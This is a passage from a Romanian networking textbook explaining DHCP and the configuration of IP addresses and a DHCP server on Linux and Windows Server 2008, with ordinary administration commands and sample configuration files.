DHCP (Dynamic Host Configuration Protocol) este un protocol client-server prin intermediul cruia serverul furnizeaz staiei client parametrii de configurare necesari funcionrii ntr-o reea. DHCP ofer, de asemenea, posibilitatea controlului accesului la reeaua local (pe criteriul adresei fizice), precum i mobilitate, mutarea dintr-o reea n alta fiind posibil fr reconfigurarea manual a gazdei. DHCP furnizeaz un mecanism prin care serverul atribuie adrese IP clienilor. Exist trei modaliti de alocare a adreselor IP: alocare dinamic, manual sau automat. Alocarea dinamic presupune definirea unui set de adrese IP. Adresele IP alocate sunt nlturate din mulimea adreselor disponibile, dar n momentul expirrii perioadei de nchiriere (dac nu este prelungit contractul de nchiriere) acestea se pot ntoarce n zona adreselor disponibile pentru ca apoi s fie alocate unui alt nod de reea. Perioada de nchiriere a adreselor IP variaz n funcie de implementarea serverului de DHCP, valori uzuale fiind 24 sau 192 de ore. Alocarea manual presupune definirea pe server de asocieri ntre adrese MAC i adrese IP. La primirea unei cereri DHCP, adresa MAC surs va fi cutat n lista de asocieri. Dac nu exist o asociere definit, n funcie de configuraie, serverul poate ignora cererea, sau poate trece n modul de alocare dinamic. Alocarea manual permite administratorului implementarea unor politici de control al accesului la reea, fiind una dintre primele recomandri de securizare a reelei locale. n acelai timp, permite un grad de flexibilitate ridicat n cazul schimbrilor de topologie precum apariia unui nou server de DHCP sau schimbarea routerului de ieire din reeaua local (default gateway). Alocarea automat mbin simplitatea de configurare a alocrii dinamice (trebuie doar definit setul de adrese IP disponibile, i nu o list de asocieri MAC-IP) cu avantajele de securitate ale alocrii statice: n cazul unui reele cu numr de adrese disponibile egal cu cel al staiilor o nou staie nu va putea primi parametrii de reea, deoarece o adres IP alocat nu se mai ntoarce n mulimea adreselor disponibile dect la restartarea serviciului de DHCP. Funcionnd n reeaua local, DHCP nu necesit un serviciu orientat pe conexiune care s ofere controlul traficului, detectarea i rectificarea erorilor sau secvenierea corect a datelor. Un astfel de serviciu (TCP) ar introduce ncrcare i ntrzieri nejustificate. De aceea, se folosesc datagrame UDP, pe portul 67 pentru server i pe portul 68 pentru client. Conversaia dintre client i server const n urmtorii pai:
1. La pornire, staia client DHCP trimite cereri pentru iniierea comunicaiei cu serverele DHCP. Aceste cereri sunt trimise prin intermediul mesajelor BROADCAST de tip DHCPDISCOVER. 2. La primirea cererilor, serverul determin dac o poate onora. n caz afirmativ, serverul rspunde cu mesaj UNICAST de tip DHCPOFFER, care poate include adresa IP, masca de reea,

106 | R e e l e L o c a l e adresa gateway, adresa serverului de nume, precum i perioada de valabilitate. n caz negativ, cererea poate fi transmis mai departe, ctre un alt server DHCP (DHCP relay). 3. Dac oferta este acceptat de ctre client, acesta va trimite un mesaj BROADCAST de tip DHCPREQUEST, n care sunt cerui parametrii respectivi. Se trimite un mesaj de tip BROADCAST i nu unul de tip UNICAST pentru a stabili care server a fost ales, n cazul n care DHCPDISCOVER a ajuns la mai multe servere. n implementrile uzuale ale DHCP, staia ncepe s foloseasc adresa IP alocat, dei procesul de confirmare nc nu s-a ncheiat. 4. Serverul ales trimite un mesaj de confirmare UNICAST, de tip DHCPACK. n cazul n care adresa a fost alocat pn la primirea DHCPREQUEST, serverul va trimite un mesaj DHCPNACK, procesul relundu-se de la pasul 1.

3.2 Definirea parametrilor de reea n Linux


3.2.1 Configurarea temporar
Linux pune la dispoziie dou utilitare pentru configurarea interfeelor de reea, configurare ce se va pierde dup repornirea sistemului. Primul dintre acestea este ifconfig. Prezent pe toate platformele Unix, acest utilitar permite stabilirea adresei IP, a mtii de reea, precum i a adresei de difuzare. n exemplul de mai jos este prezentat folosirea comenzii fr precizarea explicit a mtii de reea. n acest caz va fi configurat masca de reea a clasei din care face parte adresa, pentru exemplul de fa 255.255.255.0, precum i adresa de difuzare 192.1.3.255.
# ifconfig eth0 192.1.3.2

Dac se dorete atribuirea adresei 192.1.3.1/26 vor trebui precizate explicit att masca de reea, ct i adresa de difuzare:
# ifconfig eth0 192.1.3.1 netmask 255.255.255.252 broadcast 192.1.3.63

Comanda ifconfig mai poate fi folosit att pentru inspectarea configuraiilor curente de reea, a parametrilor de funcionare: MTU, numr de pachete trimise, numr de pachete primite, etc
# ifconfig eth0 eth0 Link encap:Ethernet HWaddr 00:0A:95:E2:04:D4 inet addr:10.38.252.237 Bcast:10.38.255.255 Mask:255.255.0.0 inet6 addr: fe80::20a:95ff:fee2:4d4/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:553119 errors:0 dropped:0 overruns:0 frame:0 TX packets:904848 errors:0 dropped:0 overruns:0 carrier:0 [...]

Pentru fiecare interfa fizic de reea pot fi definite mai multe interfee logice, denumite subinterfee. Din punct de vedere logic, fiecare subinterfa a unui router reprezint o interfa distinct. Din acest motiv dou subinterfee nu pot avea adrese IP din aceeai subreea. n exemplul de mai jos sunt definite adresa IP, masca de reea i adresa de difuzare pentru interfaa eth0:1, adic pentru una dintre subinterfeele interfeei eth0:
# ifconfig eth0:1 42.1.3.1 netmask 255.255.0.0 broadcast 42.1.255.255

Toi parametrii de reea se reseteaz la oprirea interfeei ce poate fi fcut specific pentru o interfa sau prin repornirea serviciului de reea, cea ce duce la reiniializarea tuturor interfeelor de reea. Configuraiile temporare de reea se vor pierde n cazul dezactivrii interfeei. n cazul unei subinterfee dezactivarea este echivalent cu tergerea sa.
# ifconfig eth0:1 down # /etc/init.d/rc.d/networking restart

ncepnd de la versiunea de kernel 2.2 a aprut un pachet de utilitare pentru manipularea configurrilor de reea, cunoscut sub numele iproute. Ajuns la cea de a doua versiune

107 | A d r e s a r e a I P

(iproute2), el reprezint o alternativ puternic, permind realizarea de setri foarte sofisticate. Pentru configurarea parametrilor de reea se folosete utilitarul ip addr, parte a pachetului iproute. n cazul apelrii comenzii doar cu adresa IP, va fi configurat masca 255.255.255.255, altfel spus prefixul de reea /32:
# ip addr add dev eth0 192.168.38.11 # ip addr show eth0 2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 1000 link/ether 00:0a:95:e2:04:d4 brd ff:ff:ff:ff:ff:ff inet 192.168.38.11/32 scope global eth0

Astfel, pentru configurarea unui interfee este necesar precizarea adresei IP, a prefixului de reea, precum i a adresei de difuzare:
# ip addr add dev eth0 192.168.38.11/24 broadcast 192.168.38.255 # ip addr show eth0 2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 1000 link/ether 00:0a:95:e2:04:d4 brd ff:ff:ff:ff:ff:ff inet 192.168.38.11/24 brd 192.168.38.255 scope global eth0

Pentru a defini configuraii pentru subinterfee este folosit opiunea label. Din motive de compatibilitate, se recomand ca numele etichetelor s nceap cu numele interfeei. Astfel, pentru eth0 etichete valide sunt: eth00, eth0.0, eth0:0, eth0-test. Pentru c ifconfig vede etichetele ca pe o interfa virtual, el nu poate rula dect cu cele de tip interfa:numr.
# ip addr add dev eth0 192.168.38.11/24 broadcast 192.168.38.255 label eth0:0 # ip addr show label eth0:0 2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 1000 link/ether 00:0a:95:e2:04:d4 brd ff:ff:ff:ff:ff:ff inet 192.168.38.11/24 brd 192.168.38.255 scope global eth0:0

Pentru activarea sau dezactivarea unei interfee, sau tergerea configuraiilor logice asociate cu o subinterfa se folosete un alt utilitar al pachetului iproute2: ip link. De exemplu, pentru a nchide interfaa eth0 se poate folosi comanda:
ip link set eth0 down

Utilitarul ip link mai poate fi util pentru schimbarea parametrilor de nivel legtur de date (adres MAC, MTU, etc), precum i la afiarea acestor parametri:
# ip link show 1: lo: <LOOPBACK,UP> mtu 16436 qdisc noqueue link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 1000 link/ether 00:0a:95:e2:04:d4 brd ff:ff:ff:ff:ff:ff

Pe lng funciile de manipulare a tabelei de rutare i de definire a tunelelor, iproute2 ofer suport i pentru de politici de trafic (traffic shaping).

3.2.2 Configurarea permanent


Pentru configurarea permanent a parametrilor de reea este folosit fiierul /etc/network/interfaces. Acest fiier este specific distribuiei Debian (n alte distribuii locaia sa poate fi diferit) i conine informaiile necesare pentru configurarea interfeelor de reea. Programele care efectiv utilizeaz acest fiier sunt ifup i ifdown i sunt rulate din /etc/init.d/networking, script responsabil de configurarea reelei, n procesul de pornire al sistemului de operare. Pentru definirea static a parametrilor de reea administratorul poate specifica: adresa IP, masca de reea, adresa default gateway, adresa serverului de nume, etc, sau doar o parte dintre aceti parametri. De asemenea, pot fi specificate alte aciuni care s fie realizate atunci cnd interfaa este pornit, respectiv oprit:
auto eth0

108 | R e e l e L o c a l e
iface eth0 inet static address 192.168.1.3 netmask 255.255.255.0 gateway 192.168.1.1 dns-nameservers 192.168.1.2 up echo $IFACE up down echo $IFACE down up route add -host 192.168.38.100 gw 192.168.1.17

n exemplul de mai sus, interfeei eth0 i este atribuit adresa 192.168.1.3/24, adresa routerului implicit este 192.168.1.1, serverul de DNS 192.168.1.2. La ridicarea (activarea) interfeei va fi afiat mesajul eth0 up i va fi adugat n tabela de rutare o rut ctre reeaua 192.168.38.100/32 (reea format dintr-o singur adres) cu urmtorul hop 192.168.1.17. Pentru obinerea dinamic a parametrilor de reea este editat tot fiierul /etc/network/interfaces. Spre exemplu, pentru a configura dinamic interfaa eth0:
auto eth0 iface eth0 inet dhcp

Orice modificri permanente vor fi aplicate doar n urma repornirii serviciului de reea:
#/etc/init.d/networking restart

3.3 Configurarea serviciului DHCP pe un server Linux


3.3.1 Instalarea i configurarea serverului DHCP
Serverul DHCP primete cereri de la clienii din reea i furnizeaz acestora parametrii IP necesari funcionrii corespunztoare. Pentru instalarea versiunii 3 a serverului se folosete pachetul dhcp3-server. Pachetul dhcp conine versiunea 2 a serverului de DHCP:
#apt-get install dhcp3-server

Odat configurat, serverul poate fi manipulat prin intermediul scriptului de iniializare:


#/etc/init.d/dhcp {start | stop | reload | force-reload}

sau folosind comanda dhcpd, ca utilizator privilegiat. Comanda dhcpd permite specificarea altor parametri de funcionare ai serverului, spre exemplu, numrul portului pe care s primeasc cereri (conform RFC 2131, acesta este 67):
#dhcpd -p NUMAR_PORT

Specificarea altui port dect cel implicit poate fi util n procesul de depanare sau n securizarea reelei. Fiierul de configurare al serverului DHCP este /etc/dhcpd.conf. De asemenea, fiierul /var/lib/dhcp/dhcpd.leases pstreaz baza de date a clienilor DHCP pentru serverul respectiv. Fiierul de configurare pstreaz informaii despre clienii din reea. n cadrul lui, pot fi declarate opiuni globale, aplicabile tuturor clienilor, sau opiuni pentru fiecare client sau grup de clieni. Considernd acest aspect, exist dou tipuri de specificaii n cadrul fiierului dhcpd.conf: parametrii i declaraii. Declaraiile sunt folosite pentru a descrie topologia reelei sau clienii, i precizeaz adresele care pot fi atribuite clienilor. Exist patru tipuri de declaraii care contureaz topologia reelei: host, goup, subnet i shared-network.

109 | A d r e s a r e a I P

Declaraia host este folosit atunci cnd se dorete specificarea parametrilor de funcionare pentru o anumit gazd (de exemplu, alocarea static a adresei IP, n funcie de adresa MAC). Declaraia group folosit atunci cnd se dorete gruparea mai multor clieni specificai cu declaraia host. Aceti clieni vor avea un set comun de parametri. Declaraia subnet trebuie fcut pentru fiecare subreea deservit de serverul de DHCP. Declaraia shared-network este folosit n cazul n care exist mai multe subreele declarate cu subnet, care vor avea un set comun de parametri de configurare. Atunci cnd serverul DHCP primete o cerere, va consulta mai nti declaraia host a clientului (dac exist), dup care declaraia group (dac exist), apoi declaraia subnet pentru subreeaua din care a venit cererea. Urmeaz declaraia shared-network, n final fiind consultai parametrii globali. Parametrii precizeaz dac trebuie realizat o aciune (de exemplu, dac serverul DHCP trebuie s furnizeze adresa unui client neidentificat), cum trebuie realizat o aciune (de exemplu, ct timp un client poate pstra o anumit adres IP) sau parametrii de configurare care trebuie furnizai clientului (de exemplu, specificarea serverului DNS care va fi folosit). n cadrul parametrilor, pot exista opiuni. Opiunile sunt parametri facultativi specificai folosind cuvntul cheie option. Restul parametrilor fie specific modul de funcionare al serverului, fie sunt obligatorii, conform protocolului DHCP . Mai jos sunt prezentai civa parametri des ntlnii n configurarea DHCP:
group{ option option option option } routers 192.168.1.1; subnet-mask 255.255.255.0; broadcast-address 192.168.1.255; domain-name-server 141.87.37.2;

option

domain-name-servers

ADRESA

[,

ADRESA1

...]: specific serverul

(serverele) de nume pe care le va folosi clientul; option subnet-mask MASCA_DE_RETEA: masca de reea care va fi furnizat clienilor; option broadcast-address ADRESA: adresa de broadcast furnizat clienilor; option routers ADRESA: adresa default a gateway-ului;
host gazda1{ hardware ethernet 00:02:55:F3:12:F0; fixed-address 192.168.1.3; }

hardware HARDWARE-TYPE HARDWARE-ADDRESS: parametru folosit pentru recunoaterea

clienilor;
HARDWARE-TYPE: implementate Ethernet i Token-Ring (nu mai e folosit). fixed-address ADRESA [, ADRESA1 ...]: parametru folosit pentru atribuirea static a

uneia sau mai multor adrese IP.


subnet 192.168.1.0 netmask 255.255.255.0{ [parametri] range 192.168.1.3 192.168.1.34; }

range ADRESA1 ADRESA2: intervalul din care vor fi atribuite dinamic adrese IP clienilor,

pentru o anumit subreea:


allow unknown-clients deny unknown-clients

allow/deny: controleaz comportamentul serverului DHCP n cazul n care primete cereri de

la clieni necunoscui.

Un fiier de configurare poate avea structura urmtoare:


shared-network reteaua1{ [parametri de retea]

110 | R e e l e L o c a l e
group{ [parametri de grup] subnet ADRESA1 [parametri } subnet ADRESA2 [parametri } netmask MASCA1{ de subretea] netmask MASCA2{ de subretea]

host NUME{ [parametri de host] }

host NUME1{ [parametri de host] } }

Fiierul poate conine spaii, linii goale sau tab-uri adiionale pentru formatare. Sintaxa este case-insensitive, comentariile ncepnd cu # i sfrindu-se cu linie nou. Schimbrile fcute fiierului de configurare vor avea efect dup restartarea serverului:
/etc/init.d/dhcp restart

Un alt fiier pentru configurarea serverului DHCP este /etc/default/dhcp. Aici pot fi specificate, de exemplu, interfeele pe care serverul s asculte cereri DHCP (folosind declaraia INTERFACES).

3.3.2 DHCP Relay


DHCP Relay permite transmiterea cererilor DHCP dintr-o subreea n care nu exist server DHCP ctre unul sau mai multe servere DHCP din alte subreele. Pentru instalare, este necesar pachetul dhcp-relay:
apt-get install dhcp-relay

Agentul DHCP poate fi configurat la pornire, prin parametrii transmii comenzii dhcrelay, sau prin intermediul fiierului /etc/default/dhcp-relay. n acest fiier se pot specifica:
interfeele pe care agentul s primeasc cereri DHCP: declaraia INTERFACES; serverele DHCP ctre care s fie trimise cererile DHCP primite: declaraia DHCP_SERVERS.

3.3.3 Exemplu de configurare DHCP


Este prezentat n continuare un exemplu de configurare DHCP. Serverul (staia MPLS4) are dou plci de reea, fiecare dintre acestea fcnd parte dintr-o subreea, i va furniza adrese IP gazdelor din subreeaua 192.168.1.0/24 din intervalul 192.168.1.10 - 192.168.1.20, iar gazdelor din subreeaua 10.16.200.0/24 din intervalul 10.16.200.5-10.16.200.150. Dou din staiile din reea (MPLS2 i MPLS3) vor obine adrese IP i parametri de configurare, prima n mod dinamic, iar cea de-a doua n mod static. Interfeele serverului DHCP sunt configurate astfel:
root@MPLS4:/etc# cat network/interfaces auto lo iface lo inet loopback # Prima interfata auto eth0 iface eth0 inet static name Ethernet LAN card address 192.168.1.1 broadcast 192.168.1.255 netmask 255.255.255.0 network 192.168.1.0 # A doua interfata auto eth1

111 | A d r e s a r e a I P
iface eth1 inet static name Ethernet LAN card address 10.16.200.1 broadcast 10.16.200.255 netmask 255.255.255.0 network 10.16.200.0

Fiierul de configurare al serverului este:


root@MPLS4:/etc# cat dhcpd.conf option domain-name "test.ro"; option domain-name-servers 192.168.1.1; option subnet-mask 255.255.255.0; default-lease-time 600; max-lease-time 7200; # Grupul celor doua subretele # Au in comun timpii de valabilitate group{ # Timpul default de valabilitate pentru acest grup default-lease-time 2000; # Timpul maxim de valabilitate pentru acest grup max-lease-time 8000; # Prima subretea subnet 192.168.1.0 netmask 255.255.255.0{ option routers 192.168.1.1; option broadcast-address 192.168.1.255; range 192.168.1.10 192.168.1.20; } # A doua subretea subnet 10.16.200.0 netmask 255.255.255.0{ option routers 10.16.200.1; option broadcast-address 10.16.200.255; range 10.16.200.5 10.16.200.150; } # Gazda configurata static host gazda1{ hardware ethernet 00:02:55:F3:12:F0; fixed-address 192.168.1.3; } }

Cele dou staii date ca exemplu sunt configurate dup cum urmeaz:
root@MPLS-2:/etc/network# cat interfaces auto lo iface lo inet loopback # The primary network interface auto eth0 iface eth0 inet dhcp name Ethernet LAN card root@MPLS3:/etc# cat /etc/network/interfaces auto lo iface lo inet loopback # The primary network interface auto eth0 iface eth0 inet dhcp name Ethernet LAN card

La pornirea staiilor, sau cnd este repornit serviciul de reea, acestea vor iniia o conversaie cu serverul DHCP n urma creia vor obine adresele IP i parametrii de configurare.
root@MPLS3:/etc# /etc/init.d/networking restart Setting up IP spoofing protection: rp_filter. Reconfiguring network interfaces...ifup: interface lo already configured Internet Software Consortium DHCP Client 2.0pl5 [...] Listening on LPF/eth0/00:02:55:f3:12:f0 Sending on LPF/eth0/00:02:55:f3:12:f0 Sending on Socket/fallback/fallback-net DHCPREQUEST on eth0 to 255.255.255.255 port 67 DHCPNAK from 192.168.1.1 DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 8 DHCPOFFER from 192.168.1.1 DHCPREQUEST on eth0 to 255.255.255.255 port 67 DHCPACK from 192.168.1.1 bound to 192.168.1.3 - renewal in 1000 seconds. done.

112 | R e e l e L o c a l e

n cazul staiei MPLS3 se observ c a fost atribuit adresa 192.168.1.3, deoarece aceast staie are adresa fizic 00:02:55:f3:12:f0, specificat cu parametrul host n fiierul de configurare al serverului.
root@MPLS-2:/etc/network# /etc/init.d/networking restart Setting up IP spoofing protection: rp_filter. Reconfiguring network interfaces... ifup: interface lo already configured [...] Listening on LPF/eth0/00:02:55:f3:0c:02 Sending on LPF/eth0/00:02:55:f3:0c:02 Sending on Socket/fallback/fallback-net DHCPREQUEST on eth0 to 255.255.255.255 port 67 DHCPNAK from 192.168.1.1 DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 5 DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 7 DHCPOFFER from 192.168.1.1 DHCPREQUEST on eth0 to 255.255.255.255 port 67 DHCPACK from 192.168.1.1 bound to 192.168.1.11 - renewal in 1000 seconds. done.

n cazul staiei MPLS2 adresa atribuit este urmtoarea adres liber din intervalul de adrese specificat, respectiv 192.168.1.11 .

3.4 Configurarea adreselor de reea n Windows Server 2008


Windows Server 2008 prezint dou zone principale n care este posibil configurarea parametrilor de reea: Network and Sharing Center i Network Connections.

3.4.1 Network and Sharing Center


Network and Sharing Center reprezint principalul utilitar de configurare a reelei n Windows Server 2008. El poate fi accesat n unul dintre urmtoarele moduri:
Din meniul Start, clic dreapta pe Network i se selecteaz Properties; n System Tray (denumit i Notification Area), dac este afiat pictograma de conectivitate la reea, printr-un clic pe aceasta urmat de selecia opiunii Network and Sharing Center din meniu; Din Control Panel, accesnd Network and Internet urmat de Network and Sharing Center (sau direct accesnd Network and Sharing Center pentru Control Panel n modul Classic View).

113 | A d r e s a r e a I P

3-11: Network and Sharing Center n Windows Server 2008 Att n cazul reelelor cablate ct i pentru cele wireless, Network and Sharing Center atribuie una dintre cele trei locaii posibile: public, private i domain. Aceste locaii reprezint parametri ce sunt setai pentru orice calculator ce ruleaz Windows Vista sau Windows Server 2008, fiecare configurndu-i apartenena la reea printr-una dintre cele trei locaii. Diferite proprieti ale reelei pot fi activate sau dezactivate automat n funcie de tipul ei. Implicit, toi clienii sunt membri ai unei locaii de tip public. Pentru un astfel de calculator, Windows Firewall este activ, serviciul de Network Discovery este oprit, partajarea fiierelor i a imprimantei este dezactivat iar generarea unei hri a reelei (Network Map) este indisponibil. Cnd un calculator este asignat unei locaii de tip private serviciul de Nework Discovery i Network Map sunt activate. Partajarea fiierelor este oprit, dar, spre deosebire de locaia public, partajarea poate fi activat individual i independent pe fiecare calculator. Dac un calculator devine membru al unui domeniu Active Directory, el este automat inclus n locaia de tip domain. Membrii acestei locaii beneficiaz de aproximativ aceeai configuraie ca i cei din tipul de locatie private, cu excepia c parametrii Windows Firewall, Network Discovery i Network Map sunt determinate de politicile de grup ale domeniului (Group Policy Settings).

114 | R e e l e L o c a l e

3-12: Exemplu de Network Map O schi a reelei (Network Map) permite afiarea n mod grafic a echipamentelor conectate la reeaua local i a modului n care acestea sunt interconectate, precum i legtura la Internet. Pentru ca un Network Map s poat fi generat sunt necesare dou componente n reea:
Link Layer Topology Discovery (LLTD) Mapper este componenta care interogheaz celelalte dispozitive din reea i care generaz Network Map-ul. LLTD Responder este componenta interogat, care rspunde cererilor venite de la LLTD Mapper

Cele dou componente sunt instalate implicit doar pe Windows Vista i Windows Server 2008, dar este posibil instalarea unui LLTD Responder i pe un calculator ce ruleaz Windows XP, permindu-i acestuia s fie vzut de ctre un LLTD Mapper din reea ce genereaz un Network Map. Alte opiuni disponibile n Network and Sharing Center:
Network Discovery: Permite calculatorului propriu s poat localiza alte calculatoare din reea i s poat fi localizat, la rndul su. Opiunea poate fi setat pe On, Off sau poate avea valoarea Custom, spre exemplul n situaia n care Network Discovery este activ dar firewall-ul nu deine o regul pentru a permite funcionarea sa n reea. File Sharing: Partajarea fiierelor creeaz automat o permisiune n firewall pentru ca protocolul s poat funciona. Activarea File Sharing-ului permite utilizatorilor s partajeze fiierele din propriul profil, adic din %systemroot%\Users\%username%. Administratorii de sistem pot partaja orice fiier din calculator. Public Folder Sharing: n directorul de profil al fiecrui utilizator exist un subdirector numit Public care este automat partajat n momentul activrii acestei opiuni. La activarea Public Folder Sharing este activat automat i opiunea de File Sharing. Printer Sharing: Opiunea ofer posibilitatea de partajare a accesului la imprimantele instalate local, pentru a putea fi folosite de orice alt calculator din reea. De asemena, activarea aceste opiuni are ca efect i activarea opiunii de File Sharing. Password Protected Sharing: Opiunea este disponibil doar pe sistemele care nu sunt membre ale unui domeniu. n momentul activrii sale, accesul la resursele locale partajate este restricionat doar pentru cei care au un cont valid de utilizator pe calculatorul gazd.

3.4.2 Network Connections


Windows Server 2008 detecteaz i configureaz automat conexiunile asociate interfeelor de reea din sistem. Aceste conexiuni sunt listate n Network Connections, alturi de alte conexiuni configurate manual, cum ar fi cele de tip dial-up, VPN-uri sau conexiuni de tip PPPoE. Network Connections poate fi accesat n mai multe moduri:
Din Server Manager, clic pe View Network Connections;

115 | A d r e s a r e a I P Din fereastra Initial Configuration Tasks (afiat de la prima lansare a sistemului, dup instalare), clic pe Configure Networking; Din interfaa Network and Sharing Center, clic pe Manage Network Connections; De la meniul Start, scriind comanda ncpa.cpl sau control netconnections fie n cmpul de Search, fie la Run.

Conexiunile n sine nu permit calculatoarelor s comunice printr-o reea. n realitate, clienii, serviciile i protocoalele n contextul conexiunilor sunt cele care permit comunicaia ntre dou sau mai multe staii. n fereastra de proprieti a conexiunilor sunt afiai clienii, protocoalele i serviciile ataate acelei conexiuni. Una dintre modalitile de a afia proprietile unei conexiuni este din Network Connections, prin clic dreapta pe una dintre conexiuni i apoi clic pe Properties, din meniu. De asemenea, se poate ajunge aici i din Network and Sharing Center, prin clic pe View Status i apoi pe Properties, n dreptul conexiunii dorite. Elementele bifate indic componente ce sunt ataate conexiunii respective:

3-13: Fereastra de proprieti ale unei conexiuni


Network Clients: ntr-o reea Windows, clienii sunt componente software care permit unei staii s se conecteze cu un anumit sistem de operare din reea. Implicit, singurul client disponibil pentru toate conexiunile locale este Client for Microsoft Networks. Acesta permite calculatoarelor ce ruleaz Windows s se conecteze i s partajeze resurse ntre ele. Network Services: Serviciile sunt componente software ce ofer funcionaliti suplimentare conexiunilor. File and Printer Sharing for Microsoft Networks i QoS Packet Scheduler sunt dou dintre serviciile ataate implicit tuturor conexiunilor locale. File and Printer Sharing for Microsoft Networks permite calculatorului s partajeze fiiere pentru a fi accesate din reea. QoS Packet Scheduler ofer control asupra traficului din reea, cu posibilitatea de a prioritiza anumite fluxuri de date i servicii. Network Protocols: Calculatoarele comunic printr-o conexiune doar prin intermediul protocoalelor ataate acelei conexiuni. Suportul pentru IPv4 i IPv6 este inclus implicit pentru

116 | R e e l e L o c a l e toate conexiunile locale, alturi de suportul pentru LLTD Mapper i LLTD Responder (descrise n seciunea 3.4.1).

Este posibil vizualizarea setrilor avansate pentru conexiunile din Network Connections. Pentru aceasta, din fereastra Network Connections, se alege opiunea Advanced Settings din meniul Advanced1:

3-14: Setri avansate ale conexiunilor din Network Connections n fereastra de setri avansate, la categoria Adapters and Bindings sunt afiate conexiunile curente, n ordinea prioritilor. Modificarea ordinii conexiunilor, deci ajustarea prioritilor, are ca efect forarea sistemului de operare n ncercarea de a comunica prin anumite conexiuni n ordinea definit de administrator. De asemenea, se poate configura i ordinea atarii serviciilor pentru fiecare conexiune n parte, n partea de jos a ferestrei.

3.4.3 Vizualizarea parametrilor de reea


Configuraia IP a unei interfee presupune cel puin o adres IPv4 i o masc de reea sau o adresa IPv6 i un prefix de reea. Pe lng aceste configuraii minimale, se pot regsi i informaii ca default gateway, adresa unuia sau a mai multor servere DNS, un sufix DNS i adrese ale serverelor WINS. Una dintre cele mai simple comenzi ce pot fi folosite pentru a consulta configuraia IP a interfeelor din sistem este ipconfig, ce poate fi introdus fie n prompt-ul de comand fie n PowerShell. Pentru a obine informaii extinse despre toate interfeele instalate n sistem se poate folosi parametrul /all:
PS C:\Users\Administrator> ipconfig /all [...] Ethernet adapter Local Area Connection 4:

n Windows Vista este posibil ca meniul (File, Edit, View, etc.) s nu fie afiat implicit. n acest caz, se ine apsat tasta Alt i acesta va aprea.

117 | A d r e s a r e a I P
Media State . . . . . . . . . . Connection-specific DNS Suffix Description . . . . . . . . . . Physical Address. . . . . . . . DHCP Enabled. . . . . . . . . . Autoconfiguration Enabled . . . . . . . . . : : : : : : Media disconnected Bluetooth LAN Access Server Driver 00-19-7D-E1-AC-04 Yes Yes

Wireless LAN adapter Wireless Network Connection: Connection-specific DNS Suffix Description . . . . . . . . . . Physical Address. . . . . . . . DHCP Enabled. . . . . . . . . . Autoconfiguration Enabled . . . Link-local IPv6 Address . . . . IPv4 Address. . . . . . . . . . Subnet Mask . . . . . . . . . . Lease Obtained. . . . . . . . . Lease Expires . . . . . . . . . Default Gateway . . . . . . . . DHCP Server . . . . . . . . . . DHCPv6 IAID . . . . . . . . . . DHCPv6 Client DUID. . . . . . . DNS Servers . . . . . . . . . . NetBIOS over Tcpip. . . . . . . . . . . . . . . . . . . . . . . : : : : : : : : : : : : : : : : Dell Wireless 1390 WLAN Mini-Card 00-19-7E-11-91-64 Yes Yes fe80::14c8:f79a:2ed7:74a6%16(Preferred) 192.168.1.2(Preferred) 255.255.255.0 Thursday, August 07, 2008 7:04:11 PM Thursday, August 07, 2008 9:48:52 PM 192.168.1.1 192.168.1.1 268441982 00-01-00-01-0F-CE-4B-E1-00-19-B9-5E-FA-DE 192.168.1.1 Enabled

Ethernet adapter Local Area Connection: Media State . . . . . . . . . . Connection-specific DNS Suffix Description . . . . . . . . . . Physical Address. . . . . . . . DHCP Enabled. . . . . . . . . . Autoconfiguration Enabled . . . [...] . . . . . . : : : : : : Media disconnected fiberlink.rdsnet.ro Broadcom 440x 10/100 Integrated Controller 00-13-D4-9E-50-C8 Yes Yes

3-15: Fragment din rezultatul comenzii ipconfig /all Comanda ipconfig poate fi folosit i pentru a fora primirea unei configuraii prin DHCP, dac exist un astfel de server n reea. Pentru aceasta, comanda ipconfig /release terge configuraia dinamic de pe toate interfeele configurate dinamic iar comanda ipconfig /renew trimite cereri DHCP pe toate interfeele ce au fost setate pentru configurare automat. Vizualizarea strii unei conexiuni poate fi realizat i prin intermediul utilitarelor Network Connections i Network and Sharing Center. Pentru a afia fereastra de stare a unei conexiuni se apas clic dreapta pe una dintre conexiunile din Network Connections i se alege Status din meniul contextual (sau dublu clic direct) sau se apas direct pe View Status din dreptul conexiunii dorite, din Network and Sharing Center.

118 | R e e l e L o c a l e

3-16: Starea unei conexiuni, mpreun cu detaliile sale Din fereastra de stare a conexiunii se poate accesa i o fereastr cu detalii despre conexiune, ce include detalii despre interfaa de reea folosit, adresele configurate i alte detalii legate de configurarea automat (dac este cazul).

3.4.4 Configurarea manual a adreselor IP


O conexiune poate beneficia de o configuraie IP manual sau automat. Configuraia manual este denumit i configuraie static deoarece persist i dup restartarea sistemului i este de importan critic pentru servere i echipamente specializate ntr-o reea. Asignarea manual a unei adrese statice i a altor parametri de configurare IPv4 unei conexiuni se face folosind fereastra Internet Protocol Version 4 (TCP/IP) Properties din lista de protocoale ataate unei conexiuni. Pentru a o accesa, se deschide fereastra de proprieti a unei conexiuni (figura 3-13) i se face dublu clic pe Internet Protocol Version 4 (TCP/IPv4).

119 | A d r e s a r e a I P

3-17: Fereastra de configurare a adreselor protocolului IPv4 Implicit, o conexiune de reea este setat pentru a-i obine automat configuraia. Pentru a specifica o configuraie static, este necesar selectarea opiunii Use the following IP address eventual mpreun cu specificarea unui server DNS primar i a unuia alternativ. n cazul utilizrii IPv6, de cele mai multe ori nu este necesar configurarea de adrese IPv6 static pe staii ci doar pe routere, staiile obinndu-i informaiile prin autoconfigurare. Totui, Windows Server 2008 permite asignarea de adrese IPv6 i la nivel de staii. Pentru configurarea unei adrese IPv6, procedura este aceeai ca i la IPv4, cu diferena c din fereastra de proprieti a unei conexiuni se alege Internet Protocol Version 6 (TCP/IPv6).

120 | R e e l e L o c a l e

3-18: Fereastra de configurare a adreselor protocolului IPv6 Atenie, introducerea unei adrese statice de tip IPv6 necesit i introducerea unei adrese a unui server DNS de tip IPv6.

3.4.5 Definirea unei configuraii IP alternative


